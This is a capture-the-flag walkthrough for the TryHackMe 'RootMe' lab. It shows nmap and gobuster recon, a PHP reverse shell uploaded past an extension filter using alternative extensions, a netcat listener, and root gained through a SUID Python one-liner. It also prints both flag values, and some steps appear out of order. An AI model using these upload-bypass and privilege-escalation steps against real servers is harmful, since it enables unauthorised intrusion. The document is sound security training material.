Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
su
echo "10.10.55.36 rootme.thm" >> /etc/hosts
mkdir thm/rootme
cd thm/rootme
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping -c 3 rootme.thm
PING rootme.thm (10.10.55.36) 56(84) bytes of data.
64 bytes from rootme.thm (10.10.55.36): icmp_seq=1 ttl=63 time=79.6 ms
64 bytes from rootme.thm (10.10.55.36): icmp_seq=2 ttl=63 time=60.2 ms
64 bytes from rootme.thm (10.10.55.36): icmp_seq=3 ttl=63 time=58.5 ms
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
2.1 - Scan the machine, how many ports are open?
nmap --open rootme.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 23:28 CEST
Nmap scan report for rootme.thm (10.10.55.36)
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 23:42 CEST
Nmap scan report for rootme.thm (10.10.55.36)
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
| 256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_ 256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.31 seconds
2.4 - Find directories on the web server using the GoBuster tool.
The website (port 80) does not have much functionality. Next, we can run a gobuster scan to look for hidden files and directories using the dirb/common.txt wordlist.
gobuster dir -u rootme.thm -w /usr/share/wordlists/dirb/common.txt
3.1 - Find a form to upload and get a reverse shell, and find the flag (user.txt).
During an offensive engagement, upload forms present excellent opportunities to exploit potential vulnerabilities. One of the first things to try is uploading a reverse shell.
Uploading a reverse shell requires a few steps:
Successfully upload a reverse shell script
Start a listener
Get the reverse shell script to run (note that the /uploads directory was found by the gobuster scan)
Apache servers use PHP, so we can search google for an Apache or PHP reverse shell script in order to progress. The first result I got was the Pentest Monkey PHP reverse shell:
You can get the shell script in any manner of your choosing. One easy way is to copy the raw data, paste it into a text editor, and save it.
In order for the reverse shell to work, you need change the IP address to that of your attacker machine (the AttackBox IP address if you’re using it). The port also needs to be specified and needs to be the same as the port that we set on the listener (in the next step):
Next, return to a terminal and start a netcat listener using the nc command:
nc -lvnp <port>
Make sure that the port number you specify for the listener is the same as the one in the PHP reverse shell:
❯ nc -nlvp 1234
listening on [any] 1234 ...
Running a NetCat listener.
Now that the listener is active, let’s try uploading a shell. I saved it as ‘reverse_shell.php’ and tried uploading it as is, but this was denied:
Looks like PHP is ‘not permitted’. We’ll have to bypass the restrictions that have been set.
Add list in payload options.
Now navigate to path /uploads and we will see our payload there now click on it to execute it, and we have our shell in our Netcat listener
nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.9.80.228] from (UNKNOWN) [10.10.55.36] 53476
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:33:46 up 7 min, 0 users, load average: 0.38, 1.58, 1.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/
Navigate to /var/www/user.txt
$ cd var/www
$ ls
html
user.txt
$ cat user.txt
🚩 user.txt [Flag]
THM{y0u_g0t_a_sh3ll}
Task 4 - Privilege escalation
4.1 - Search for files with SUID permission, which file is weird?
Now that we are on the target machine, we need to look for ways to escalate our privileges. Using our next question as a hint we need to search for files with SUID permissions. To do this we can run the command:
Navigate to the root directory and we will find our root flag.
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cd root
ls
root.txt
cat root.txt
🚩 root.txt [Flag]
THM{pr1v1l3g3_3sc4l4t10n}
The first primary strategy for identifying a file upload vulnerability is by manipulating the file extension. There is a good list at hacktricks ().
I used the following list:
phpphp2php3php4php5php6php7
phps
phpsphtphtmphtmlpgifshtmlhtaccesspharinchphpctpmodulea
Now here we will search our gtfobins to search for any binary and I found this:
